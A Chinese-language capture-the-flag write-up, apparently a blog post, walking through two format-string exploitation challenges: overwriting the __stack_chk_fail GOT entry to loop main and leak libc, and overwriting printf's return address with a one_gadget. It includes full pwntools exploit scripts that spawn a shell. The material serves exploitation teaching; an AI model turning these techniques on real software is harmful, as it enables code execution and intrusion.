#题一

开启NX、Canary保护,64位,动态编译,IDA分析:

很明显存在格式化字符串漏洞,同时左边还有__stack_chk_fail函数
这边补充一个知识点
随机生成canary被改变后会退出程序,那它如何退出的呢,就是通过执行__stack_chk_fail函数退出程序
既然题目给了我们__stack_chk_fail函数的地址,又存在格式化字符串漏洞,那我们就可以通过
fmtstr_payload(偏移,{被修改的got表:改之后的地址})来将__stack_chk_fail函数的got地址修改为main函数地址,这样在canary被修改之后执行__stack_chk_fail函数退出程序时实际上就相当于返回了main函数

可以看到程序确实是将__stack_chk_fail函数的got地址修改成了fmt(main)函数地址
之后我们就可以再一次栈溢出泄露libc基址了

这边为什么不能是p64(elf.got['read'])+b'%7$s'呢?
首先在%7$s后面补四个a是为了让它变成八个字节,防止它影响后面泄露的地址
而将p64(elf.got['read'])放在b'%7$saaaa'后面是因为read函数的got表不一定有八个字节,p64的作用就是将它打包成八个字节,不够的补\x00,而printf函数会遇00截断,因此需要将p64(elf.got['read'])放在b'%7$saaaa'后面,防止printf函数被截断
运行一下脚本看看是否成功泄露基址:

可以看到我们也是成功泄露了基址
泄露出llibc基址之后我们就可以用onegadget(等同于execve)去做
先用指令:one_gadget libc库路径找一下偏移

一般情况下我们都选用第二个,因为要使用onegadget要满足其对应的条件,即某两个寄存器的值为空,第二个一般都满足,一会也会为大家调试查看是否满足使用条件
正常来说,脚本这样写是没有问题的,但是在后面第三次读入获取权限的时候就会发现报错了,这其实是因为我们第二次读入泄露地址的时候读入的字节不够多,导致没有覆盖掉canary,程序就正常运行结束,没有跳转到__stack_chk_fail函数,即main函数,我们也就不能再一次栈溢出,所以,我们需要再补充一些字节
![]()
这个().ljust的作用是补齐,图中的作用是不够0x50补齐00
随后我们发送第三次读入的rop链
pay=fmtstr_payload(6,{elf.got['__stack_chk_fail']:one_gadget})
将__stack_chk_fail函数的got地址修改为onegadget的地址

获取权限
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./pwn3")
elf=ELF("./pwn3")
def bug():
gdb.attach(p)
pause()
main=0x4011DD
pay=fmtstr_payload(6,{elf.got['__stack_chk_fail']:main})
#bug()
p.send(pay)
pay=(b'%7$saaaa'+p64(elf.got['read'])).ljust(0x50,b'\x00')
#bug()
p.send(pay)
#leek libc_base================================================
read_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['read']
print(hex(libc_base))
#==============================================================
one_gadget=libc_base+0xebcf5
pay=fmtstr_payload(6,{elf.got['__stack_chk_fail']:one_gadget})
p.send(pay)
p.interactive()
#题二

保护全开,64位,动态编译,IDA分析:

先读入四个字节,如果是yes,就打印printf函数地址,通过这个可以求libc基址
下面又读入0x100个字节,不能栈溢出,但是下面printf函数存在格式化漏洞
libc基址有了,格式化字符串漏洞可以利用,有的人就想像上一题一样,修改__stack_chk_fail函数的got地址,实际上这是不行的,因为本题保护全开,因此不能修改got表地址,那要怎么做呢?
先发送yes,求出基址,然后利用格式化字符串漏洞将printf返回地址改为onegadget,因为本题程序最后运行的函数就是printf函数
实操:

可以看到,打印出了两个地址,一个是libc地址,一个是栈地址,把地址接收一下求出基址

成功求出基址,那这个栈地址有什么用呢?由于本题开了pie,因此我们无法直接修改printf返回地址,但是我们可以算出这个栈地址与printf函数返回地址的偏移,然后相减求出printf函数返回地址,随后就可以将printf函数修改成onegadget

在gdb里找到printf的返回地址
计算偏移

获取权限

exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./pwn4")
elf=ELF("./pwn4")
def bug():
gdb.attach(p)
pause()
p.recvuntil("lbs 6 or not 6\n")
p.send(str('yes'))
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['printf']
print(hex(libc_base))
p.recvuntil("0x")
stack=int(p.recv(12),16)-8
print(hex(stack))
one_gadget=libc_base+0xebcf5
pay=fmtstr_payload(6,{stack:one_gadget})
bug()
p.send(pay)
p.interactive()

687

被折叠的 条评论
为什么被折叠?



